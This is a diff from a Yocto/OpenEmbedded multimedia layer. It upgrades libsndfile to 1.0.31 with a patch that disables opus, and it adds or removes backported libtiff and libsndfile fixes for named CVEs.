--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-There is a heap-based buffer over-read at wav.c in wav_write_header in
-libsndfile 1.0.28 that will cause a denial of service.
-
-CVE: CVE-2018-19758
-Upstream-Status: Backport [42132c543358cee9f7c3e9e9b15bb6c1063a608e]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From c12173b0197dd0c5cfa2cd27977e982d2ae59486 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Tue, 1 Jan 2019 20:11:46 +1100
-Subject: [PATCH] src/wav.c: Fix heap read overflow
-
-This is CVE-2018-19758.
-
-Closes: https://github.com/erikd/libsndfile/issues/435
----
- src/wav.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/wav.c b/src/wav.c
-index e8405b55..6fb94ae8 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1094,6 +1094,8 @@ wav_write_header (SF_PRIVATE *psf, int calc_length)
- psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
- psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
-
-+ /* Loop count is signed 16 bit number so we limit it range to something sensible. */
-+ psf->instrument->loop_count &= 0x7fff ;
- for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
- { int type ;
-
---
-2.11.0
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch
deleted file mode 100644
index ab37211399..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 43886efc408c21e1e329086ef70c88860310f25b Mon Sep 17 00:00:00 2001
-From: Emilio Pozuelo Monfort <pochu27@gmail.com>
-Date: Tue, 5 Mar 2019 11:27:17 +0100
-Subject: [PATCH] wav_write_header: don't read past the array end
-
-CVE-2018-19758 wasn't entirely fixed in the fix, so fix it harder.
-
-CVE: CVE-2019-3832
-Upstream-Status: Backport [7408c4c788ce047d4e652b60a04e7796bcd7267e]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-If loop_count is bigger than the array, truncate it to the array
-length (and not to 32k).
-
-CVE-2019-3832
-
----
- src/wav.c | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/src/wav.c b/src/wav.c
-index daae3cc..8851549 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1094,8 +1094,10 @@ wav_write_header (SF_PRIVATE *psf, int calc_length)
- psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
- psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
-
-- /* Loop count is signed 16 bit number so we limit it range to something sensible. */
-- psf->instrument->loop_count &= 0x7fff ;
-+ /* Make sure we don't read past the loops array end. */
-+ if (psf->instrument->loop_count > ARRAY_LEN (psf->instrument->loops))
-+ psf->instrument->loop_count = ARRAY_LEN (psf->instrument->loops) ;
-+
- for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
- { int type ;
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch
new file mode 100644
index 0000000000..6bcb932429
--- /dev/null
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch
@@ -0,0 +1,55 @@
+We don't have opus in OE-Core which causes all the external libs to be disabled
+silently. The silent issue is discussed in the link below and hints a patch
+to make things configurable may be accepted.
+
+This patch removing the opus piece at least gets most of the functionality
+we previously used back whilst the issue is discussed.
+
+Upstream-Status: Pending [https://github.com/libsndfile/libsndfile/pull/812]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: libsndfile-1.0.31/configure.ac
+===================================================================
+--- libsndfile-1.0.31.orig/configure.ac
++++ libsndfile-1.0.31/configure.ac
+@@ -361,13 +361,13 @@ AS_IF([test -n "$PKG_CONFIG"], [
+ enable_external_libs=yes
+ ])
+
+- AS_IF([test "x$ac_cv_flac$ac_cv_ogg$ac_cv_vorbis$ac_cv_vorbisenc$ac_cv_opus" = "xyesyesyesyesyes"], [
++ AS_IF([test "x$ac_cv_flac$ac_cv_ogg$ac_cv_vorbis$ac_cv_vorbisenc" = "xyesyesyesyes"], [
+ HAVE_EXTERNAL_XIPH_LIBS=1
+ enable_external_libs=yes
+
+- EXTERNAL_XIPH_CFLAGS="$FLAC_CFLAGS $VORBIS_CFLAGS $VORBISENC_CFLAGS $SPEEX_CFLAGS $OPUS_CFLAGS $OGG_CFLAGS "
+- EXTERNAL_XIPH_LIBS="$FLAC_LIBS $VORBIS_LIBS $VORBISENC_LIBS $SPEEX_LIBS $OPUS_LIBS $OGG_LIBS "
+- EXTERNAL_XIPH_REQUIRE="flac ogg vorbis vorbisenc opus"
++ EXTERNAL_XIPH_CFLAGS="$FLAC_CFLAGS $VORBIS_CFLAGS $VORBISENC_CFLAGS $SPEEX_CFLAGS $OGG_CFLAGS "
++ EXTERNAL_XIPH_LIBS="$FLAC_LIBS $VORBIS_LIBS $VORBISENC_LIBS $SPEEX_LIBS $OGG_LIBS "
++ EXTERNAL_XIPH_REQUIRE="flac ogg vorbis vorbisenc"
+
+ if test x$ac_cv_speex = "xyes" ; then
+ EXTERNAL_XIPH_REQUIRE="$EXTERNAL_XIPH_REQUIRE speex"
+@@ -716,7 +716,7 @@ AC_MSG_RESULT([
+
+ Experimental code : ................... ${enable_experimental:-no}
+ Using ALSA in example programs : ...... ${enable_alsa:-no}
+- External FLAC/Ogg/Vorbis/Opus : ....... ${enable_external_libs:-no}
++ External FLAC/Ogg/Vorbis : ....... ${enable_external_libs:-no}
+ Building Octave interface : ........... ${OCTAVE_BUILD}
+
+ Tools :
+Index: libsndfile-1.0.31/src/ogg_opus.c
+===================================================================
+--- libsndfile-1.0.31.orig/src/ogg_opus.c
++++ libsndfile-1.0.31/src/ogg_opus.c
+@@ -159,7 +159,7 @@
+ #include "sfendian.h"
+ #include "common.h"
+
+-#if HAVE_EXTERNAL_XIPH_LIBS
++#if 0
+
+ #include <ogg/ogg.h>
+ #include <opus/opus.h>
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
deleted file mode 100644
index 7855008f3d..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "Audio format Conversion library"
-HOMEPAGE = "http://www.mega-nerd.com/libsndfile"
-AUTHOR = "Erik de Castro Lopo"
-DEPENDS = "flac libogg libvorbis"
-SECTION = "libs/multimedia"
-LICENSE = "LGPLv2.1"
-
-SRC_URI = "http://www.mega-nerd.com/libsndfile/files/libsndfile-${PV}.tar.gz \
- file://CVE-2017-6892.patch \
- file://CVE-2017-8361-8365.patch \
- file://CVE-2017-8362.patch \
- file://CVE-2017-8363.patch \
- file://CVE-2017-14634.patch \
- file://CVE-2018-13139.patch \
- file://0001-a-ulaw-fix-multiple-buffer-overflows-432.patch \
- file://CVE-2018-19432.patch \
- file://CVE-2017-12562.patch \
- file://CVE-2018-19758.patch \
- file://CVE-2019-3832.patch \
- "
-
-SRC_URI[md5sum] = "646b5f98ce89ac60cdb060fcd398247c"
-SRC_URI[sha256sum] = "1ff33929f042fa333aed1e8923aa628c3ee9e1eb85512686c55092d1e5a9dfa9"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e77fe93202736b47c07035910f47974a"
-
-CVE_PRODUCT = "libsndfile"
-
-S = "${WORKDIR}/libsndfile-${PV}"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[regtest] = "--enable-sqlite,--disable-sqlite,sqlite3"
-
-inherit autotools lib_package pkgconfig
-
-# This can't be replicated and is just a memory leak.
-# https://github.com/erikd/libsndfile/issues/398
-CVE_CHECK_WHITELIST += "CVE-2018-13419"
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.31.bb b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.31.bb
new file mode 100644
index 0000000000..ea14fe29cb
--- /dev/null
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.31.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Audio format Conversion library"
+DESCRIPTION = "Library for reading and writing files containing sampled \
+sound (such as MS Windows WAV and the Apple/SGI AIFF format) through \
+one standard library interface."
+HOMEPAGE = "https://libsndfile.github.io/libsndfile/"
+AUTHOR = "Erik de Castro Lopo"
+DEPENDS = "flac libogg libvorbis"
+SECTION = "libs/multimedia"
+LICENSE = "LGPL-2.1-only"
+
+SRC_URI = "https://github.com/libsndfile/libsndfile/releases/download/${PV}/libsndfile-${PV}.tar.bz2 \
+ file://noopus.patch \
+ "
+UPSTREAM_CHECK_URI = "https://github.com/libsndfile/libsndfile/releases/"
+
+SRC_URI[md5sum] = "3f3b2a86a032f064ef922a2c8c191f7b"
+SRC_URI[sha256sum] = "a8cfb1c09ea6e90eff4ca87322d4168cdbe5035cb48717b40bf77e751cc02163"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e77fe93202736b47c07035910f47974a"
+
+CVE_PRODUCT = "libsndfile"
+
+S = "${WORKDIR}/libsndfile-${PV}"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
+PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
+PACKAGECONFIG[regtest] = "--enable-sqlite,--disable-sqlite,sqlite3"
+
+inherit autotools lib_package pkgconfig multilib_header
+
+do_install:append() {
+ oe_multilib_header sndfile.h
+}
diff --git a/meta/recipes-multimedia/libtiff/tiff/0001-tiffset-fix-global-buffer-overflow-for-ASCII-tags-wh.patch b/meta/recipes-multimedia/libtiff/tiff/0001-tiffset-fix-global-buffer-overflow-for-ASCII-tags-wh.patch
new file mode 100644
index 0000000000..72776f09ba
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/0001-tiffset-fix-global-buffer-overflow-for-ASCII-tags-wh.patch
@@ -0,0 +1,43 @@
+CVE: CVE-2022-22844
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From b12a0326e6064b6e0b051d1184a219877472f69b Mon Sep 17 00:00:00 2001
+From: 4ugustus <wangdw.augustus@qq.com>
+Date: Tue, 25 Jan 2022 16:25:28 +0000
+Subject: [PATCH] tiffset: fix global-buffer-overflow for ASCII tags where
+ count is required (fixes #355)
+
+---
+ tools/tiffset.c | 16 +++++++++++++---
+ 1 file changed, 13 insertions(+), 3 deletions(-)
+
+diff --git a/tools/tiffset.c b/tools/tiffset.c
+index 8c9e23c5..e7a88c09 100644
+--- a/tools/tiffset.c
++++ b/tools/tiffset.c
+@@ -146,9 +146,19 @@ main(int argc, char* argv[])
+
+ arg_index++;
+ if (TIFFFieldDataType(fip) == TIFF_ASCII) {
+- if (TIFFSetField(tiff, TIFFFieldTag(fip), argv[arg_index]) != 1)
+- fprintf( stderr, "Failed to set %s=%s\n",
+- TIFFFieldName(fip), argv[arg_index] );
++ if(TIFFFieldPassCount( fip )) {
++ size_t len;
++ len = strlen(argv[arg_index]) + 1;
++ if (len > UINT16_MAX || TIFFSetField(tiff, TIFFFieldTag(fip),
++ (uint16_t)len, argv[arg_index]) != 1)
++ fprintf( stderr, "Failed to set %s=%s\n",
++ TIFFFieldName(fip), argv[arg_index] );
++ } else {
++ if (TIFFSetField(tiff, TIFFFieldTag(fip),
++ argv[arg_index]) != 1)
++ fprintf( stderr, "Failed to set %s=%s\n",
++ TIFFFieldName(fip), argv[arg_index] );
++ }
+ } else if (TIFFFieldWriteCount(fip) > 0
+ || TIFFFieldWriteCount(fip) == TIFF_VARIABLE) {
+ int ret = 1;
+--
+2.25.1
diff --git a/meta/recipes-multimedia/libtiff/tiff/561599c99f987dc32ae110370cfdd7df7975586b.patch b/meta/recipes-multimedia/libtiff/tiff/561599c99f987dc32ae110370cfdd7df7975586b.patch
new file mode 100644
index 0000000000..0b41dde606
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/561599c99f987dc32ae110370cfdd7df7975586b.patch
@@ -0,0 +1,30 @@
+From 561599c99f987dc32ae110370cfdd7df7975586b Mon Sep 17 00:00:00 2001
+From: Even Rouault <even.rouault@spatialys.com>
+Date: Sat, 5 Feb 2022 20:36:41 +0100
+Subject: [PATCH] TIFFReadDirectory(): avoid calling memcpy() with a null
+ source pointer and size of zero (fixes #362)
+
+Upstream-Status: Backport
+CVE: CVE-2022-0562
+
+---
+ libtiff/tif_dirread.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/libtiff/tif_dirread.c b/libtiff/tif_dirread.c
+index 2bbc4585..23194ced 100644
+--- a/libtiff/tif_dirread.c
++++ b/libtiff/tif_dirread.c
+@@ -4177,7 +4177,8 @@ TIFFReadDirectory(TIFF* tif)
+ goto bad;
+ }
+
+- memcpy(new_sampleinfo, tif->tif_dir.td_sampleinfo, old_extrasamples * sizeof(uint16_t));
++ if (old_extrasamples > 0)
++ memcpy(new_sampleinfo, tif->tif_dir.td_sampleinfo, old_extrasamples * sizeof(uint16_t));
+ _TIFFsetShortArray(&tif->tif_dir.td_sampleinfo, new_sampleinfo, tif->tif_dir.td_extrasamples);
+ _TIFFfree(new_sampleinfo);
+ }
+--
+GitLab
+
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-14973.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2019-14973.patch
deleted file mode 100644
index 8345295d07..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-14973.patch
+++ /dev/null
@@ -1,415 +0,0 @@
-From 95ac1e3fcc6b643b5bd100f2ea54faca0a003315 Mon Sep 17 00:00:00 2001
-From: Trevor Gamblin <trevor.gamblin@windriver.com>
-Date: Fri, 20 Sep 2019 09:33:22 -0400
-Subject: [PATCH] libtiff-fix-CVE-2019-14973
-
-Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/commit/2218055ca67d84be596a13080e8f50f22116555c]
-CVE: CVE-2019-14973
-
-Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
----
- libtiff/tif_aux.c | 49 +++++++++++++++++++++++++++++++++++++-----
- libtiff/tif_getimage.c | 6 ++----
- libtiff/tif_luv.c | 8 +------
- libtiff/tif_pixarlog.c | 7 +-----
- libtiff/tif_read.c | 38 +++++++++-----------------------
- libtiff/tif_strip.c | 35 ++++--------------------------
- libtiff/tif_tile.c | 27 +++--------------------
- libtiff/tiffiop.h | 7 +++++-
- 8 files changed, 71 insertions(+), 106 deletions(-)
-
-diff --git a/libtiff/tif_aux.c b/libtiff/tif_aux.c
-index 4ece162f..33fb8a44 100644
---- a/libtiff/tif_aux.c
-+++ b/libtiff/tif_aux.c
-@@ -57,18 +57,57 @@ _TIFFMultiply64(TIFF* tif, uint64 first, uint64 second, const char* where)
- return bytes;
- }
-
-+tmsize_t
-+_TIFFMultiplySSize(TIFF* tif, tmsize_t first, tmsize_t second, const char* where)
-+{
-+ if( first <= 0 || second <= 0 )
-+ {
-+ if( tif != NULL && where != NULL )
-+ {
-+ TIFFErrorExt(tif->tif_clientdata, where,
-+ "Invalid argument to _TIFFMultiplySSize() in %s", where);
-+ }
-+ return 0;
-+ }
-+
-+ if( first > TIFF_TMSIZE_T_MAX / second )
-+ {
-+ if( tif != NULL && where != NULL )
-+ {
-+ TIFFErrorExt(tif->tif_clientdata, where,
-+ "Integer overflow in %s", where);
-+ }
-+ return 0;
-+ }
-+ return first * second;
-+}
-+
-+tmsize_t _TIFFCastUInt64ToSSize(TIFF* tif, uint64 val, const char* module)
-+{
-+ if( val > (uint64)TIFF_TMSIZE_T_MAX )
-+ {
-+ if( tif != NULL && module != NULL )
-+ {
-+ TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-+ }
-+ return 0;
-+ }
-+ return (tmsize_t)val;
-+}
-+
- void*
- _TIFFCheckRealloc(TIFF* tif, void* buffer,
- tmsize_t nmemb, tmsize_t elem_size, const char* what)
- {
- void* cp = NULL;
-- tmsize_t bytes = nmemb * elem_size;
--
-+ tmsize_t count = _TIFFMultiplySSize(tif, nmemb, elem_size, NULL);
- /*
-- * XXX: Check for integer overflow.
-+ * Check for integer overflow.
- */
-- if (nmemb && elem_size && bytes / elem_size == nmemb)
-- cp = _TIFFrealloc(buffer, bytes);
-+ if (count != 0)
-+ {
-+ cp = _TIFFrealloc(buffer, count);
-+ }
-
- if (cp == NULL) {
- TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
-diff --git a/libtiff/tif_getimage.c b/libtiff/tif_getimage.c
-index 6a9d5a7c..2106ca21 100644
---- a/libtiff/tif_getimage.c
-+++ b/libtiff/tif_getimage.c
-@@ -755,9 +755,8 @@ gtTileSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- uint32 leftmost_tw;
-
- tilesize = TIFFTileSize(tif);
-- bufsize = TIFFSafeMultiply(tmsize_t,alpha?4:3,tilesize);
-+ bufsize = _TIFFMultiplySSize(tif, alpha?4:3,tilesize, "gtTileSeparate");
- if (bufsize == 0) {
-- TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "Integer overflow in %s", "gtTileSeparate");
- return (0);
- }
-
-@@ -1019,9 +1018,8 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- uint16 colorchannels;
-
- stripsize = TIFFStripSize(tif);
-- bufsize = TIFFSafeMultiply(tmsize_t,alpha?4:3,stripsize);
-+ bufsize = _TIFFMultiplySSize(tif,alpha?4:3,stripsize, "gtStripSeparate");
- if (bufsize == 0) {
-- TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "Integer overflow in %s", "gtStripSeparate");
- return (0);
- }
-
-diff --git a/libtiff/tif_luv.c b/libtiff/tif_luv.c
-index aa35ea07..46d2dff2 100644
---- a/libtiff/tif_luv.c
-+++ b/libtiff/tif_luv.c
-@@ -1264,16 +1264,10 @@ LogL16GuessDataFmt(TIFFDirectory *td)
- return (SGILOGDATAFMT_UNKNOWN);
- }
-
--
--#define TIFF_SIZE_T_MAX ((size_t) ~ ((size_t)0))
--#define TIFF_TMSIZE_T_MAX (tmsize_t)(TIFF_SIZE_T_MAX >> 1)
--
- static tmsize_t
- multiply_ms(tmsize_t m1, tmsize_t m2)
- {
-- if( m1 == 0 || m2 > TIFF_TMSIZE_T_MAX / m1 )
-- return 0;
-- return m1 * m2;
-+ return _TIFFMultiplySSize(NULL, m1, m2, NULL);
- }
-
- static int
-diff --git a/libtiff/tif_pixarlog.c b/libtiff/tif_pixarlog.c
-index 7438d692..b52a3ee4 100644
---- a/libtiff/tif_pixarlog.c
-+++ b/libtiff/tif_pixarlog.c
-@@ -634,15 +634,10 @@ PixarLogGuessDataFmt(TIFFDirectory *td)
- return guess;
- }
-
--#define TIFF_SIZE_T_MAX ((size_t) ~ ((size_t)0))
--#define TIFF_TMSIZE_T_MAX (tmsize_t)(TIFF_SIZE_T_MAX >> 1)
--
- static tmsize_t
- multiply_ms(tmsize_t m1, tmsize_t m2)
- {
-- if( m1 == 0 || m2 > TIFF_TMSIZE_T_MAX / m1 )
-- return 0;
-- return m1 * m2;
-+ return _TIFFMultiplySSize(NULL, m1, m2, NULL);
- }
-
- static tmsize_t
-diff --git a/libtiff/tif_read.c b/libtiff/tif_read.c
-index e63810cc..8db39d7a 100644
---- a/libtiff/tif_read.c
-+++ b/libtiff/tif_read.c
-@@ -29,9 +29,6 @@
- #include "tiffiop.h"
- #include <stdio.h>
-
--#define TIFF_SIZE_T_MAX ((size_t) ~ ((size_t)0))
--#define TIFF_TMSIZE_T_MAX (tmsize_t)(TIFF_SIZE_T_MAX >> 1)
--
- int TIFFFillStrip(TIFF* tif, uint32 strip);
- int TIFFFillTile(TIFF* tif, uint32 tile);
- static int TIFFStartStrip(TIFF* tif, uint32 strip);
-@@ -49,6 +46,8 @@ TIFFReadRawTile1(TIFF* tif, uint32 tile, void* buf, tmsize_t size, const char* m
- #define THRESHOLD_MULTIPLIER 10
- #define MAX_THRESHOLD (THRESHOLD_MULTIPLIER * THRESHOLD_MULTIPLIER * THRESHOLD_MULTIPLIER * INITIAL_THRESHOLD)
-
-+#define TIFF_INT64_MAX ((((int64)0x7FFFFFFF) << 32) | 0xFFFFFFFF)
-+
- /* Read 'size' bytes in tif_rawdata buffer starting at offset 'rawdata_offset'
- * Returns 1 in case of success, 0 otherwise. */
- static int TIFFReadAndRealloc( TIFF* tif, tmsize_t size,
-@@ -734,23 +733,8 @@ TIFFReadRawStrip(TIFF* tif, uint32 strip, void* buf, tmsize_t size)
- return ((tmsize_t)(-1));
- }
- bytecount = td->td_stripbytecount[strip];
-- if ((int64)bytecount <= 0) {
--#if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))
-- TIFFErrorExt(tif->tif_clientdata, module,
-- "%I64u: Invalid strip byte count, strip %lu",
-- (unsigned __int64) bytecount,
-- (unsigned long) strip);
--#else
-- TIFFErrorExt(tif->tif_clientdata, module,
-- "%llu: Invalid strip byte count, strip %lu",
-- (unsigned long long) bytecount,
-- (unsigned long) strip);
--#endif
-- return ((tmsize_t)(-1));
-- }
-- bytecountm = (tmsize_t)bytecount;
-- if ((uint64)bytecountm!=bytecount) {
-- TIFFErrorExt(tif->tif_clientdata, module, "Integer overflow");
-+ bytecountm = _TIFFCastUInt64ToSSize(tif, bytecount, module);
-+ if (bytecountm == 0) {
- return ((tmsize_t)(-1));
- }
- if (size != (tmsize_t)(-1) && size < bytecountm)
-@@ -774,7 +758,7 @@ TIFFFillStrip(TIFF* tif, uint32 strip)
- if ((tif->tif_flags&TIFF_NOREADRAW)==0)
- {
- uint64 bytecount = td->td_stripbytecount[strip];
-- if ((int64)bytecount <= 0) {
-+ if( bytecount == 0 || bytecount > (uint64)TIFF_INT64_MAX ) {
- #if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))
- TIFFErrorExt(tif->tif_clientdata, module,
- "Invalid strip byte count %I64u, strip %lu",
-@@ -801,7 +785,7 @@ TIFFFillStrip(TIFF* tif, uint32 strip)
- (bytecount - 4096) / 10 > (uint64)stripsize )
- {
- uint64 newbytecount = (uint64)stripsize * 10 + 4096;
-- if( (int64)newbytecount >= 0 )
-+ if( newbytecount == 0 || newbytecount > (uint64)TIFF_INT64_MAX )
- {
- #if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))
- TIFFWarningExt(tif->tif_clientdata, module,
-@@ -1196,10 +1180,8 @@ TIFFReadRawTile(TIFF* tif, uint32 tile, void* buf, tmsize_t size)
- bytecount64 = td->td_stripbytecount[tile];
- if (size != (tmsize_t)(-1) && (uint64)size < bytecount64)
- bytecount64 = (uint64)size;
-- bytecountm = (tmsize_t)bytecount64;
-- if ((uint64)bytecountm!=bytecount64)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-+ bytecountm = _TIFFCastUInt64ToSSize(tif, bytecount64, module);
-+ if( bytecountm == 0 ) {
- return ((tmsize_t)(-1));
- }
- return (TIFFReadRawTile1(tif, tile, buf, bytecountm, module));
-@@ -1221,7 +1203,7 @@ TIFFFillTile(TIFF* tif, uint32 tile)
- if ((tif->tif_flags&TIFF_NOREADRAW)==0)
- {
- uint64 bytecount = td->td_stripbytecount[tile];
-- if ((int64)bytecount <= 0) {
-+ if( bytecount == 0 || bytecount > (uint64)TIFF_INT64_MAX ) {
- #if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))
- TIFFErrorExt(tif->tif_clientdata, module,
- "%I64u: Invalid tile byte count, tile %lu",
-@@ -1248,7 +1230,7 @@ TIFFFillTile(TIFF* tif, uint32 tile)
- (bytecount - 4096) / 10 > (uint64)stripsize )
- {
- uint64 newbytecount = (uint64)stripsize * 10 + 4096;
-- if( (int64)newbytecount >= 0 )
-+ if( newbytecount == 0 || newbytecount > (uint64)TIFF_INT64_MAX )
- {
- #if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))
- TIFFWarningExt(tif->tif_clientdata, module,
-diff --git a/libtiff/tif_strip.c b/libtiff/tif_strip.c
-index 5b76fba5..2366acf0 100644
---- a/libtiff/tif_strip.c
-+++ b/libtiff/tif_strip.c
-@@ -129,15 +129,8 @@ TIFFVStripSize(TIFF* tif, uint32 nrows)
- {
- static const char module[] = "TIFFVStripSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFVStripSize64(tif,nrows);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-@@ -211,15 +204,8 @@ TIFFStripSize(TIFF* tif)
- {
- static const char module[] = "TIFFStripSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFStripSize64(tif);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-@@ -330,14 +316,8 @@ TIFFScanlineSize(TIFF* tif)
- {
- static const char module[] = "TIFFScanlineSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFScanlineSize64(tif);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m) {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer arithmetic overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-@@ -366,15 +346,8 @@ TIFFRasterScanlineSize(TIFF* tif)
- {
- static const char module[] = "TIFFRasterScanlineSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFRasterScanlineSize64(tif);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer arithmetic overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /* vim: set ts=8 sts=8 sw=8 noet: */
-diff --git a/libtiff/tif_tile.c b/libtiff/tif_tile.c
-index 58fe9354..661cc771 100644
---- a/libtiff/tif_tile.c
-+++ b/libtiff/tif_tile.c
-@@ -181,15 +181,8 @@ TIFFTileRowSize(TIFF* tif)
- {
- static const char module[] = "TIFFTileRowSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFTileRowSize64(tif);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-@@ -248,15 +241,8 @@ TIFFVTileSize(TIFF* tif, uint32 nrows)
- {
- static const char module[] = "TIFFVTileSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFVTileSize64(tif,nrows);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-@@ -272,15 +258,8 @@ TIFFTileSize(TIFF* tif)
- {
- static const char module[] = "TIFFTileSize";
- uint64 m;
-- tmsize_t n;
- m=TIFFTileSize64(tif);
-- n=(tmsize_t)m;
-- if ((uint64)n!=m)
-- {
-- TIFFErrorExt(tif->tif_clientdata,module,"Integer overflow");
-- n=0;
-- }
-- return(n);
-+ return _TIFFCastUInt64ToSSize(tif, m, module);
- }
-
- /*
-diff --git a/libtiff/tiffiop.h b/libtiff/tiffiop.h
-index 186c291f..558484fe 100644
---- a/libtiff/tiffiop.h
-+++ b/libtiff/tiffiop.h
-@@ -77,6 +77,9 @@ extern int snprintf(char* str, size_t size, const char* format, ...);
- #define FALSE 0
- #endif
-
-+#define TIFF_SIZE_T_MAX ((size_t) ~ ((size_t)0))
-+#define TIFF_TMSIZE_T_MAX (tmsize_t)(TIFF_SIZE_T_MAX >> 1)
-+
- typedef struct client_info {
- struct client_info *next;
- void *data;
-@@ -258,7 +261,7 @@ struct tiff {
- #define TIFFhowmany8_64(x) (((x)&0x07)?((uint64)(x)>>3)+1:(uint64)(x)>>3)
- #define TIFFroundup_64(x, y) (TIFFhowmany_64(x,y)*(y))
-
--/* Safe multiply which returns zero if there is an integer overflow */
-+/* Safe multiply which returns zero if there is an *unsigned* integer overflow. This macro is not safe for *signed* integer types */
- #define TIFFSafeMultiply(t,v,m) ((((t)(m) != (t)0) && (((t)(((v)*(m))/(m))) == (t)(v))) ? (t)((v)*(m)) : (t)0)
-
- #define TIFFmax(A,B) ((A)>(B)?(A):(B))
-@@ -368,6 +371,8 @@ extern TIFFErrorHandlerExt _TIFFerrorHandlerExt;
-
- extern uint32 _TIFFMultiply32(TIFF*, uint32, uint32, const char*);
- extern uint64 _TIFFMultiply64(TIFF*, uint64, uint64, const char*);
-+extern tmsize_t _TIFFMultiplySSize(TIFF*, tmsize_t, tmsize_t, const char*);
-+extern tmsize_t _TIFFCastUInt64ToSSize(TIFF*, uint64, const char*);
- extern void* _TIFFCheckMalloc(TIFF*, tmsize_t, tmsize_t, const char*);
